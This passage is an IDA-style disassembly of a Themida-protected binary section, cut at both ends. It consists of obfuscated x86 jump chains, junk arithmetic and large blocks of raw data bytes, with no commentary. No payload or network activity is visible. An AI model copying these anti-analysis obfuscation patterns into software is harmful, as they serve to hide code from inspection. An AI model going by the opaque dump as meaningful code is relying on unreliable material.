0AE9DFB3h, 55FFFFD7h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 545C2414h, 8124048Fh, 42404h dd 34FF0000h, 0C4835D24h, 4EC8104h, 89000000h, 4B9240Ch dd 81000000h, 9A56AAC5h, 50ED817Ch, 12BDB61h, 50C581CDh dd 0E92BDB61h, 0FFFEEC1Bh, 114CEE81h, 0F68152DDh, 486A1EEEh dd 8106EEC1h, 906A4DE6h, 81DEF717h, 84AFA8EEh, 5EF001A8h dd 502DC801h, 59567B50h, 2474FF50h, 8CD3E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5168AA: ; CODE XREF: Themida_:005173CDj push ebx jmp loc_50B507 ; --------------------------------------------------------------------------- dd 685FF901h, 3C3h, 0FF240C89h, 59042474h, 8B24048Fh, 5BE92424h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5168CB: ; CODE XREF: Themida_:005108B1j mov ecx, 4 jmp loc_50AE9D ; --------------------------------------------------------------------------- loc_5168D5: ; CODE XREF: Themida_:005102EAj push edi mov edi, 4 sub edx, 73340498h sub edx, edi jmp loc_50E52B ; --------------------------------------------------------------------------- dd 0CB3CAB2Dh, 0E9C2295Fh, 0FFFED00Ch ; --------------------------------------------------------------------------- loc_5168F4: ; CODE XREF: Themida_:00508564j pop esi add esp, 4 xchg esi, edi not esi xor edi, esi xor esi, edi xor edi, esi add edi, 1 jmp loc_512F2C ; --------------------------------------------------------------------------- dd 3098B450h, 24048BE2h, 0FF1836E9h, 8EE950FFh db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516923: ; CODE XREF: Themida_:00504789j pop edi shr ecx, 7 push ebp push esp mov ebp, [esp] add esp, 4 push eax jmp loc_5176A9 ; --------------------------------------------------------------------------- dword_516938 dd 240C8B66h, 0FFF8C2E9h, 0FFC331FFh, 0C181E930h, 0E956FFFEh ; DATA XREF: Themida_:00502950o dd 0FFFF114Dh, 15EF089h, 24048BC2h, 4C481h, 94E90000h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516963: ; CODE XREF: Themida_:00505C44j mov edi, 3C50770Fh shr edi, 3 dec edi sub edi, 78A0EDCh add ebp, edi pop edi sub ebp, 4 jmp loc_51129B ; --------------------------------------------------------------------------- dd 4C381h, 0C3810000h, 4, 5C241C87h, 4BF57h, 0D6E90000h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51699B: ; CODE XREF: Themida_:00513A6Cj xor edi, [esp] pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_504F85 ; --------------------------------------------------------------------------- loc_5169B0: ; CODE XREF: Themida_:00508380j push 2CC2h mov [esp], ebp jmp loc_50686B ; --------------------------------------------------------------------------- byte_5169BD db 81h, 0ECh, 4 ; DATA XREF: Themida_:005028ECo dd 89000000h, 0A1682414h, 89000062h, 64E9240Ch db 0F0h, 0FEh, 0FFh byte_5169D3 db 66h ; DATA XREF: Themida_:005028B0o db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, 79651FAAh jmp loc_50FDF5 ; --------------------------------------------------------------------------- db 55h dd 0C5815D54h, 4, 0FFAC30E9h, 8E3C1FFh, 95E95352h, 29FFFF40h dd 529D05D8h, 53E91FCCh, 56FFFF65h, 0FF1401E9h, 0C8B54FFh dd 4C48124h, 81000000h, 4C1h, 2C18300h, 2474FF51h, 20E3E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516A32: ; CODE XREF: Themida_:005117CEj pop edi shl eax, 1 and eax, 5E2E3316h xor eax, 31CF3ED7h xor edx, eax pop eax push 2597h mov [esp], edx not dword ptr [esp] pop edx xor edx, 6FC91662h jmp loc_508276 ; --------------------------------------------------------------------------- db 89h, 0E3h, 57h dd 0C781E789h, 4, 4EF81h, 20E90000h, 81FFFF6Eh, 831CC4CBh dd 0BFEB8175h, 81F5D82Bh, 837392C1h, 56D92914h, 0FF603BE9h dd 51EB01FFh, 7B65EFB9h, 0E9CB2968h, 0FFFECFABh, 4BFFC383h dd 0FF8A00E9h, 17E981FFh, 89F4CAFFh, 748EE9CFh, 0C481FFFFh dd 4, 0FF2A40E9h db 0FFh ; --------------------------------------------------------------------------- loc_516AB9: ; CODE XREF: Themida_:00511099j sub ah, cl pop ecx jmp loc_515D50 ; --------------------------------------------------------------------------- loc_516AC1: ; CODE XREF: Themida_:005109D1j pop edx pop ebp xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_502ACB ; --------------------------------------------------------------------------- loc_516AD6: ; CODE XREF: Themida_:00511230j xchg edx, [esp] jmp loc_50CE54 ; --------------------------------------------------------------------------- dw 0F5BBh dd 0F756D57Dh, 55B850D3h, 290DBC49h, 0DBF758C3h, 559968h dd 243C8900h, 0ED1A44BFh, 0DCF7810Fh, 0E93D5317h, 0FFFFCB9Fh dd 8B242C33h, 0D3662424h, 0E99C2424h, 0FFFEBFB3h, 0C581C501h dd 2CEC1834h, 8124048Bh, 4C4h, 242C3300h, 33242C31h, 248B242Ch dd 0FCE6E924h, 0BE56FFFEh, 298B346Bh, 348BF001h, 8270E924h dd 2489FFFFh, 24048124h, 4, 0E9243C8Bh, 0FFFFEAEAh ; --------------------------------------------------------------------------- loc_516B5C: ; CODE XREF: Themida_:00508C02j xor eax, ebx pop ebx jmp loc_5129E2 ; --------------------------------------------------------------------------- loc_516B64: ; CODE XREF: Themida_:0050B6D1j pop ebp add [esp+4], ebp mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 40F5453Dh push ebx mov ebx, 63991851h jmp loc_51102C ; --------------------------------------------------------------------------- loc_516B94: ; CODE XREF: Themida_:005157DFj mov [esp], ebp mov ebp, 5628755Eh shr ebp, 1 not ebp and ebp, 24D26F21h jmp loc_515194 ; --------------------------------------------------------------------------- db 46h dd 54FAE681h, 0EE814720h, 13DF6A2Dh, 5E18F681h, 0F131BEFEh dd 0FFD519E9h, 91E953FFh db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_516BCB: ; CODE XREF: Themida_:00509779j sub ecx, edi mov edi, [esp] add esp, 4 jmp loc_50C2F0 ; --------------------------------------------------------------------------- loc_516BDB: ; CODE XREF: Themida_:0051194Bj inc cl dec cl push ecx jmp loc_5106E6 ; --------------------------------------------------------------------------- db 5Ah, 0F6h, 0D9h dd 0FF7C7FE9h, 2EE95FFFh, 80FFFF95h, 0F8207AEFh, 0FFAC75E9h dd 4EC83FFh, 0FF240C89h, 59042474h, 0E924048Fh, 0FFFFE0A4h ; --------------------------------------------------------------------------- loc_516C10: ; CODE XREF: Themida_:0050C6FCj sub esp, 4 jmp loc_5087C6 ; --------------------------------------------------------------------------- loc_516C1B: ; CODE XREF: Themida_:0050A0B5j push eax jmp loc_515DBB ; --------------------------------------------------------------------------- db 51h, 0B9h, 75h dd 8924FF3Ch, 0D3F759CBh, 0E381EBD1h, 172A74DFh, 7348CB81h dd 0C3817F3Eh, 9D2BA636h, 6BE9D831h, 89FFFFC8h, 0C30FE9E5h dd 5BBBFFFEh, 0E9282458h, 0FFFECC98h, 8304C483h, 0C9E904ECh dd 89FFFF97h, 0BCB22414h, 4EC81h, 14890000h, 5074B224h dd 0C788D088h, 8124048Bh, 4C4h, 0E7C05A00h, 0A0B55106h dd 283EB652h, 0C1B4E9F5h, 0CB80FFFEh, 12B652B8h, 98E9F308h dd 1FFFF57h, 79E959C8h, 55FFFED1h, 4BDh, 0B5E98100h, 1389C3Fh dd 0B5C181E9h, 5D389C3Fh, 46853h, 0E95B0000h, 0FFFEE6F7h ; --------------------------------------------------------------------------- loc_516CC8: ; CODE XREF: Themida_:00514C92j or esi, 68BB0D83h push esi dec dword ptr [esp] pop esi shr esi, 6 shl esi, 1 add esi, 3D6078Ch push ebx mov ebx, 41687215h xor ebx, 46747399h xor esi, ebx mov ebx, [esp] add esp, 4 jmp loc_50A142 ; --------------------------------------------------------------------------- loc_516CF7: ; CODE XREF: Themida_:00505431j push ecx mov ch, bl sub esp, 4 mov [esp], ebx mov bl, ch jmp loc_503B3B ; --------------------------------------------------------------------------- loc_516D07: ; CODE XREF: Themida_:00510A6Bj mov esi, 4 add ebx, esi jmp loc_516FA9 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFEBh, 18C381FFh, 1A25E59h, 1FD1E9DDh, 0C181FFFFh dd 4, 0EE568h, 243C8900h, 1979BA52h, 89537130h, 0E9DF89D3h dd 0FFFF14B0h ; --------------------------------------------------------------------------- loc_516D44: ; CODE XREF: Themida_:0050928Cj pop ebx add edx, 0EFE0F9Ah jmp loc_512133 ; --------------------------------------------------------------------------- dd 2B8h, 0FFC30100h, 1DE92434h, 89FFFEF8h, 75BA52E6h, 8143F969h dd 39E207C2h, 2E2C108h, 0BBF28142h, 534C3B4Eh, 6554D6BBh dd 0E2F38117h, 0C158C92Ah, 0EB8107EBh, 83A8F5AEh, 15BDA31h dd 6685AD6h, 0E900004Dh, 0FFFEDA63h, 835AD601h, 0ADE904ECh dd 52FFFF25h, 0EEC0FEB6h, 0B6C68004h, 0E95AF188h, 954h ; --------------------------------------------------------------------------- loc_516DB8: ; CODE XREF: Themida_:0050979Ej mov [esp], ebx jmp loc_50FBA2 ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 0B9240C89h, 2, 0FFA85DE9h db 0FFh ; --------------------------------------------------------------------------- loc_516DD9: ; CODE XREF: Themida_:0050910Dj sub bl, 5Dh push 666Ah mov [esp], ecx mov cl, 0F8h sub cl, 8Eh sub cl, 0FFh add cl, 3Dh push 0 sub [esp], cl mov cl, [esp] jmp loc_50EA7A ; --------------------------------------------------------------------------- db 5Eh dd 0EF81F701h, 14632957h, 767DE953h, 9B8FFFFh, 5455C1Bh dd 0C1794649h, 0E958C331h, 0FFFF5C8Fh ; --------------------------------------------------------------------------- loc_516E20: ; CODE XREF: Themida_:0051457Aj mov ebp, [esp] add esp, 4 push eax pop ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push esp pop ecx push ebp jmp loc_516008 ; --------------------------------------------------------------------------- db 9, 0DEh, 8Bh dd 0C483241Ch, 5E6C104h, 0FFABD4E9h, 242C89FFh, 66CD8966h dd 595DEE89h, 87CE8166h, 0AA5E953h, 3C870000h, 0F08FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516E6A: ; CODE XREF: Themida_:0050D326j mov [esp], ebp push 7C47h mov [esp], esi jmp loc_5058C3 ; --------------------------------------------------------------------------- dw 0F281h dd 0E48AE6CDh, 3995C581h, 0D529339Eh, 3995ED81h, 148B339Eh dd 1098E924h, 0CBDFFFFh, 0BA060934h, 6093410h, 0FF5D66E9h dd 6CC781FFh, 118E32Ah, 6CEF81F7h, 8B18E32Ah, 0C4832434h dd 0A0BD5504h, 3105FD5Fh, 0E7E95DEFh, 89FFFF1Ch, 5DBE9E1h dd 42D0000h, 87000000h, 0E95C2404h, 0FFFFCD2Fh, 5F8015Ch dd 26777BABh, 83243C8Bh, 0FE904C4h, 58FFFF80h, 405h, 4EC8300h dd 0BD242C89h, 4, 14216305h, 3DDA2D12h, 99E9568Ch db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_516F0F: ; CODE XREF: Themida_:0050A882j mov edx, 0B4061Fh add edx, 0FF4BF9E5h add ebp, edx jmp loc_502FF8 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 81000000h, 4ECh, 24148900h, 0FF6468E9h, 36C181FFh, 2977AD02h dd 36E981D1h, 5A77AD02h, 2474FF51h, 0BE69E904h, 8153FFFFh dd 4ECh, 24148900h, 531E9h, 90C28100h, 8B748B3Ch, 2434FF02h dd 0FF8630E9h, 6A27BBFFh, 0BF570E26h, 67AA4405h, 0CF81DFF7h dd 463241BEh, 48A2E781h, 0CF810A71h, 54373CDh, 0B6C2C781h dd 6FE94B0Ah, 66FFFEF6h, 0E95DE901h, 0FFFFC93Ah ; --------------------------------------------------------------------------- loc_516FA0: ; CODE XREF: Themida_:0051608Bj pop esp pop dword ptr [edi+24h] jmp loc_513D84 ; --------------------------------------------------------------------------- loc_516FA9: ; CODE XREF: Themida_:00516D0Ej pop esi add ebx, 4 xchg ebx, [esp] mov esp, [esp] add esp, 4 shr ecx, 6 jmp loc_512369 ; --------------------------------------------------------------------------- db 59h, 89h, 0FAh dd 5F2434FFh, 0E904C483h, 0FFFF7464h ; --------------------------------------------------------------------------- loc_516FD0: ; CODE XREF: Themida_:0050E277j push esi push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 pop esi jmp loc_502ACB ; --------------------------------------------------------------------------- dw 48Fh dd 2823E924h, 0FD29FFFFh, 87F5815Fh, 814D6B2Bh, 20053CEEh dd 51EE2907h, 7F4380B9h, 0E1C14966h, 0E9814906h, 98B0DA83h dd 8B59CE01h, 0C483242Ch, 0C6815804h, 59397624h, 0EE81D601h dd 59397624h, 597ABD55h, 0EE29053Bh, 0EE815A5Dh, 0A773E3h dd 0C681C601h, 0A773E3h, 4BA2EE81h, 0BB532AA4h, 44F72461h dd 3C9BF381h, 0EE94C8Bh, 5AFFFF81h, 0FFF6D9E9h, 4C483FFh dd 0FEBA62E9h, 1AC181FFh, 0E9297B44h, 0FFFFA3DEh, 0B850h dd 0ABE90000h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51707F: ; CODE XREF: Themida_:0050C0ECj push ecx push dword ptr [esp+4] jmp loc_50E4E4 ; --------------------------------------------------------------------------- db 55h, 57h, 0E9h dd 0FFFF8FC4h, 4C281h, 0BB530000h, 4, 0D80EA81h, 0D4E95E59h dd 5EFFFF0Dh, 701568h, 240C8900h, 8904EC83h, 0BD55243Ch dd 2, 242C8155h, 3FD07BEh, 0BEC7815Fh, 5D03FD07h, 0E95FF989h dd 0FFFF5551h, 18E9E089h, 80FFFEF4h, 0A0E921C6h, 8BFFFFC9h dd 0C481240Ch, 4, 3C8BF831h, 5B545324h, 4C381h, 0C3830000h dd 241C8704h, 0FF9274E9h, 0B9C1E9FFh, 0C481FFFEh, 4, 0FEC691E9h db 0FFh ; --------------------------------------------------------------------------- loc_517115: ; CODE XREF: Themida_:00515C16j xor ebp, [esp] pop esp mov [esp], eax push 4D13h mov [esp], ebx push 30312F46h mov ebx, [esp] add esp, 4 neg ebx jmp loc_512096 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 8B2414F7h, 0C4812434h, 4, 4EC8357h, 8B243489h, 0C481243Ch dd 4, 0E924348Bh, 0FFFF6CFBh, 513368h, 0D74FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51716A: ; CODE XREF: Themida_:00502F2Ej mov edx, 0C1D0817h sub ebx, edx pop edx sub ebx, edx add ebx, 0C1D0817h add ebx, 2CB350F8h pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], ecx push esi push edx mov edx, 203748h mov esi, edx pop edx push eax push 6B476C9Bh pop eax add eax, 0CC6090D8h mov ecx, eax jmp loc_50FBDE ; --------------------------------------------------------------------------- loc_5171A7: ; CODE XREF: Themida_:00512E5Fj mov eax, 1E8602A5h inc eax dec eax sub eax, 851D5C8h mov edx, eax pop eax jmp loc_50C464 ; --------------------------------------------------------------------------- db 0BEh dd 0B0766DCh, 0FECE6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5171C5: ; CODE XREF: Themida_:00515C6Aj xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_502ACB ; --------------------------------------------------------------------------- dw 5768h dd 8900000Eh, 1DE9240Ch, 5DFFFF12h, 0FF395BE9h, 3E9C1FFh dd 0F708E1C1h, 81E950D9h, 81FFFFEDh, 1D45F1C2h, 2437E992h dd 2C89FFFFh, 5CF16824h, 0C890000h, 0E427E924h, 1705FFFEh dd 0E92CA16Ah, 0FFFF81A9h, 0E9CCF380h, 0FFFEEB3Ch, 539CC781h dd 0D729685Bh, 539CEF81h, 148B685Bh, 4C48324h, 3C8BF801h dd 4C48324h, 592434FFh, 51E08950h, 0FF0BFAE9h, 0A0E959FFh dd 89FFFFF9h, 49E9240Ch, 0FFFF91h, 4EC81D8h, 0E9000000h dd 0FFFF4314h, 24148966h, 0E99C5066h, 0FFFEB857h ; --------------------------------------------------------------------------- loc_517274: ; CODE XREF: Themida_:0050FD81j not edi push ecx push edi pop ecx pop edi jmp loc_50A306 ; --------------------------------------------------------------------------- db 1 dd 8EE95DEEh db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517287: ; CODE XREF: Themida_:0051780Ej mov edx, esp add edx, 4 push 2946h jmp loc_5040A8 ; --------------------------------------------------------------------------- loc_517299: ; CODE XREF: Themida_:00506B51j add esp, 4 add esp, 4 sub [edi+24h], ebx pop ebx loc_5172A3: ; CODE XREF: Themida_:005037F8j push 4CE4h mov [esp], edi sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_50DF78 ; --------------------------------------------------------------------------- dw 315Dh dd 0BA24E9D0h, 0CC04FFFFh, 5152665Ah, 48B637B5h, 2DB05066h dd 806CEE80h, 0C628A4EEh, 80A4C680h, 58666CC6h, 0C680EE28h dd 240C8B2Dh, 4C481h, 27E90000h, 52FFFEE6h, 0E951EA88h dd 0FFFFC010h, 0C273F4BEh, 31EE8165h, 81333168h, 0EC42B9CEh dd 0C7CAE964h, 0E95BFFFFh, 0FFFF831Ah, 51241C8Bh, 0C181E189h dd 4, 8704C183h, 515C240Ch, 0BB53E189h, 7B70036Dh, 0E3E9DBF7h db 0D8h, 0FEh, 0FFh byte_51734B db 0FFh ; DATA XREF: Themida_:005029BCo dd 83582434h, 0EEE904ECh, 55FFFEC3h, 0FFA5F9E9h, 241C89FFh dd 0C381E389h, 4, 4C381h, 1C870000h, 86685C24h, 8900000Bh dd 0DD682414h, 83000012h, 248904ECh, 24048324h, 6C9E904h dd 0EA800000h, 5AD32822h, 0B151CBFEh, 99D7E9AEh, 0EC80FFFFh dd 58E230D9h, 0D5E9D088h, 66FFFF14h, 8890B151h, 2951E9CFh dd 34FFFFFFh, 6AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5173BE: ; CODE XREF: Themida_:0050F088j mov eax, 244E64BFh or eax, 129340D6h add eax, 75C73E59h jmp loc_5168AA ; --------------------------------------------------------------------------- loc_5173D2: ; CODE XREF: Themida_:005037A1j dec ecx add ecx, 4BE20ACEh mov edi, ecx pop ecx jmp loc_514BDD ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 268h, 0B299E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5173EE: ; CODE XREF: Themida_:0050DC1Bj push ecx jmp loc_505AAE ; --------------------------------------------------------------------------- dd 0B227C381h, 0DE31052Bh, 0EC83465Bh, 243C8904h, 0FECFEDE9h dd 4C281FFh, 83000000h, 148702EAh, 89665C24h, 0F66240Ch dd 5166C8B6h, 0B6A5E99Ch, 8B5CFFFEh, 0C481242Ch, 4, 0E906E7C1h dd 3E6h, 0F658C688h, 66F388D6h, 1BEB805Ah, 0FF2335E9h db 0FFh ; --------------------------------------------------------------------------- loc_517449: ; CODE XREF: Themida_:00515FF8j push esi push edx jmp loc_510115 ; --------------------------------------------------------------------------- dd 4EC81h, 0DAE90000h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51745B: ; CODE XREF: Themida_:005142B4j mov ebx, 266E0856h sub ebx, 0FFFFFFFFh push edi mov edi, 61212Dh add edi, 443AE983h xor ebx, edi pop edi xor edi, ebx jmp loc_5074D0 ; --------------------------------------------------------------------------- loc_517479: ; CODE XREF: Themida_:00509383j not edx jmp loc_509482 ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFEFD12h, 0EFD5E95Ah, 3468FFFEh, 0E951D149h dd 0FFFF0C60h, 89241C89h, 4C381E3h, 56000000h, 0FF2B5CE9h dd 4C181FFh, 81000000h, 4C1h, 240C8700h, 0FEEEEDE9h, 4C481FFh dd 5E000000h, 0FF0916E9h, 24148BFFh, 0FED20BE9h, 1C181FFh dd 0E978E844h, 0FFFF3BC9h, 5D5FFB31h, 8B1C5F21h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50D43F ; --------------------------------------------------------------------------- loc_5174EE: ; CODE XREF: Themida_:00513AA2j sub eax, ebp push dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 jmp loc_5100A9 ; --------------------------------------------------------------------------- dw 55BBh dd 89354E21h, 0D6E95BD9h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51750F: ; CODE XREF: Themida_:005124C7j mov [esp], ebx jmp loc_511936 ; --------------------------------------------------------------------------- loc_517517: ; CODE XREF: Themida_:0050C651j push ebx pop dword ptr [edi+20h] jmp loc_51788E ; --------------------------------------------------------------------------- dd 71F76851h, 4890000h, 7786824h, 0C890000h, 0E97FB124h dd 0FFFF4101h, 6624248Bh, 0E900B60Fh, 0FFFF3C59h, 4247C01h dd 81243C8Bh, 4C4h, 24148B00h, 0E904C483h, 0FFFF1D55h dd 42474FFh, 83241C8Bh, 48F04C4h, 48B5C24h, 9634E924h dd 0B3BAFFFFh, 8115C120h, 1C2h, 0F8F8E900h, 0E289FFFFh dd 0FF5201E9h db 0FFh ; --------------------------------------------------------------------------- loc_517589: ; CODE XREF: Themida_:0050E2DEj push eax jmp loc_514AC6 ; --------------------------------------------------------------------------- db 51h dd 268h, 240C8B00h, 4C481h, 7BE90000h, 89FFFFB8h, 0B7E9242Ch dd 0BDFFFF26h, 20A86069h, 61AFC581h, 0C5811F7Bh, 289B108Ah dd 4CF7F581h, 0F5813F70h, 66F680FEh, 8107E5C1h, 71307E5h dd 1CE9502Fh db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50D96C ; --------------------------------------------------------------------------- loc_5175DF: ; CODE XREF: Themida_:0050F31Dj mov eax, ebx pop ebx mov esi, eax pop eax jmp loc_50C322 ; --------------------------------------------------------------------------- dw 95B9h dd 0E901FD4Fh, 0FFFF543Fh, 81595451h, 4C1h, 63FAE900h dd 48FFFFFh, 0A044E924h, 0E831FFFFh, 0FF3C92E9h, 5BD889FFh dd 8358C301h, 0F2E904C3h, 31FFFFCFh, 34332434h, 24248B24h dd 24040966h, 0B499E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_517632: ; CODE XREF: Themida_:005093E2j add ecx, 4 jmp loc_50A0BA ; --------------------------------------------------------------------------- db 81h, 0E3h, 43h dd 81358304h, 0D4B8ACBh, 65DE96Ah db 2 dup(0FFh) word_51764E dw 0F66h ; DATA XREF: Themida_:00502868o dd 686602B6h, 896675CFh, 6CE92404h, 81FFFEB4h, 4C4h, 0E7814F00h dd 6C8592Ch, 1E0BCF81h, 0C78161B0h, 4D116430h, 0A110F781h dd 2705ACD1h, 16C0A0Dh, 0D272DF8h, 3C8B6C0Ah, 4C48324h dd 0BD55F001h, 7BDF6988h, 8106EDC1h, 0F71EEDF5h, 5DE82919h dd 0FF91B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5176A9: ; CODE XREF: Themida_:00516933j push esp jmp loc_50AF78 ; --------------------------------------------------------------------------- db 54h dd 0E389535Eh, 4C381h, 0E9680000h, 8900003Ah, 0D9E9243Ch dd 89000006h, 4C581E5h, 83000000h, 2C8702C5h, 20DDE924h dd 0EC83FFFFh, 24048904h, 405E089h, 83000000h, 48704E8h dd 0C8C2E924h, 0C481FFFEh, 4, 0FFE320E9h, 2434FFFFh, 0FF2CF9E9h dd 0E963B0FFh, 0FFFF268Bh, 5AB45053h, 0A3E9E388h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_517717: ; CODE XREF: Themida_:00507AB2j mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_50C5DF ; --------------------------------------------------------------------------- loc_51772A: ; CODE XREF: Themida_:005160BEj or edi, 72945F3Ch jmp loc_512B8C ; --------------------------------------------------------------------------- db 0B9h, 85h, 32h dd 81496367h, 300728C9h, 81E1D113h, 4C68F9C1h, 0F3E18155h dd 83737E5Fh, 1C8904ECh, 36B8BB24h, 0EB81685Fh, 49104DD1h dd 7AD9EB81h, 41E92AC9h, 5EFFFF6Dh, 0FF3747E9h db 0FFh ; --------------------------------------------------------------------------- loc_517771: ; CODE XREF: Themida_:00507195j mov ecx, ebx mov edi, ecx jmp loc_50FD15 ; --------------------------------------------------------------------------- dw 8B54h dd 0C483243Ch, 0B1BA5204h, 8167B022h, 0F2507EAh, 7E2C13Dh dd 326DEA81h, 0C2815415h, 3965D71h, 0E95AD701h, 0FFFF7074h dd 807AB652h, 86E9ACEEh, 0B8FFFEBAh, 0CA6765Bh, 467F920Dh dd 48D0F727h, 8F085E2Dh, 91D7E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5177C6: ; CODE XREF: Themida_:005153BFj or ebx, ebx jnz loc_50C67F push 1850h mov [esp], ecx mov ecx, edx sub esp, 4 mov [esp], eax push 4994h jmp loc_5060E3 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF213Eh ; --------------------------------------------------------------------------- loc_5177F0: ; CODE XREF: Themida_:0050EA68j or edx, eax shl edx, 1 push 229Eh mov [esp], ebx push 0FFFFFFFFh push dword ptr [esp] mov ebx, [esp] add esp, 4 push edx jmp loc_517287 ; --------------------------------------------------------------------------- db 31h dd 4332404h, 9C68E924h, 0E7C1FFFFh, 0C6F78106h, 81096665h dd 0EC5EF5F7h, 2FEF8100h, 54DFAABh, 708047EFh, 0EF2DF801h dd 8B708047h, 89E9243Ch, 0BBFFFEB5h, 175964C6h, 485BD801h dd 0FFB535E9h db 0FFh ; --------------------------------------------------------------------------- loc_517855: ; CODE XREF: Themida_:00512536j mov ebp, 4 jmp loc_515899 ; --------------------------------------------------------------------------- loc_51785F: ; CODE XREF: Themida_:00512C72j xchg ebp, edx not edx push ebp push eax mov eax, 60DB6736h mov ebp, eax mov eax, [esp] jmp loc_51540B ; --------------------------------------------------------------------------- dd 1240481h, 58000000h, 8904EC83h, 0BE2434h, 29000000h dd 4E8BE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51788E: ; CODE XREF: Themida_:0051751Bj mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp loc_5178A0: ; CODE XREF: Themida_:loc_513AC6j ; Themida_:00516627j push dword ptr [esp] pop ebx push 14C0h mov [esp], eax jmp loc_5090DC ; --------------------------------------------------------------------------- db 59h, 4Fh, 52h dd 3B560D68h, 0EAC15A30h, 4CF28102h, 0E976C81Bh, 0FFFF9B5Ch dd 567568h, 242C8900h, 0C5815D54h, 4, 0FEF7FEE9h, 0E9C189FFh dd 0FFFEC865h, 8324148Bh, 0E4C004C4h, 0B5516608h, 0E9EC00D8h dd 0FFFEC338h ; --------------------------------------------------------------------------- loc_5178F8: ; CODE XREF: Themida_:0050A6FFj mov bh, 87h xor dh, bh jmp loc_50CBA5 ; --------------------------------------------------------------------------- db 0C3h, 0E9h, 0C4h dd 66FFFEB1h, 2CE3E681h, 0C9C68166h, 57466609h, 2302BF66h dd 0FF567CE9h, 68535CFFh, 2C4Ch, 0FF9FB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_517929: ; CODE XREF: Themida_:0050623Aj pop esp jmp loc_50813D ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0C6B9E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51793A: ; CODE XREF: Themida_:0050CFBBj push ebp push edi push 75A855E7h pop edi xor edi, 75A855E3h mov ebp, edi pop edi jmp loc_50CE62 ; --------------------------------------------------------------------------- dd 0F9A9E958h, 0D829FFFEh, 0FFC4B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_51795D: ; CODE XREF: Themida_:005157BCj mov esp, [esp] mov [esp], esi mov esi, esp jmp loc_510FED ; --------------------------------------------------------------------------- loc_51796A: ; CODE XREF: Themida_:00514F73j xor edx, 308338D2h push dword ptr [esp] jmp loc_505F36 ; --------------------------------------------------------------------------- dd 97EA815Ah, 811F7B0Ah, 461397EAh, 81DA014Ah, 461397C2h dd 97C2814Ah, 5B1F7B0Ah, 879EF281h, 0D0315436h, 0FF8D8DE9h dd 0E9D0F7FFh, 0FFFFEF40h, 403A4005h, 2DE80177h, 77403A40h dd 8C3DDA05h, 68BE5656h, 0E948BC01h, 0FFFFEAE3h, 2474FF53h dd 48F5B04h, 2C895C24h, 0F45CE924h, 205FFFEh, 68000000h dd 14D2h, 0E9240489h, 0FFFEF591h ; --------------------------------------------------------------------------- loc_5179E8: ; CODE XREF: Themida_:00516003j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_50EFDC ; --------------------------------------------------------------------------- dw 15Bh dd 0F0215DEEh, 5E2434FFh, 2FE95453h, 81FFFEFEh, 1A014EEEh dd 3433594Fh, 24343124h, 0E9243433h, 0FFFF121Ah ; --------------------------------------------------------------------------- loc_517A1C: ; CODE XREF: Themida_:0050D44Bj sub ebx, 0FFFFFFFFh shr ebx, 7 jmp loc_507FD3 ; --------------------------------------------------------------------------- dw 0C181h dd 0CC6BBC15h, 0FF032EE9h, 4EC81FFh, 89000000h, 0B8502414h dd 2, 5158C289h, 0CD0C87B9h, 2935E977h, 74E9FFFFh, 8FFFFEB0h dd 0BE562404h, 4, 4247401h, 685A5Eh, 89000032h, 79BF243Ch dd 0E9736D36h, 0FFFEBC3Eh, 7C25D8F7h, 3520016Bh, 138E62ECh dd 0BD58C689h, 5E56875h, 0E95EF531h, 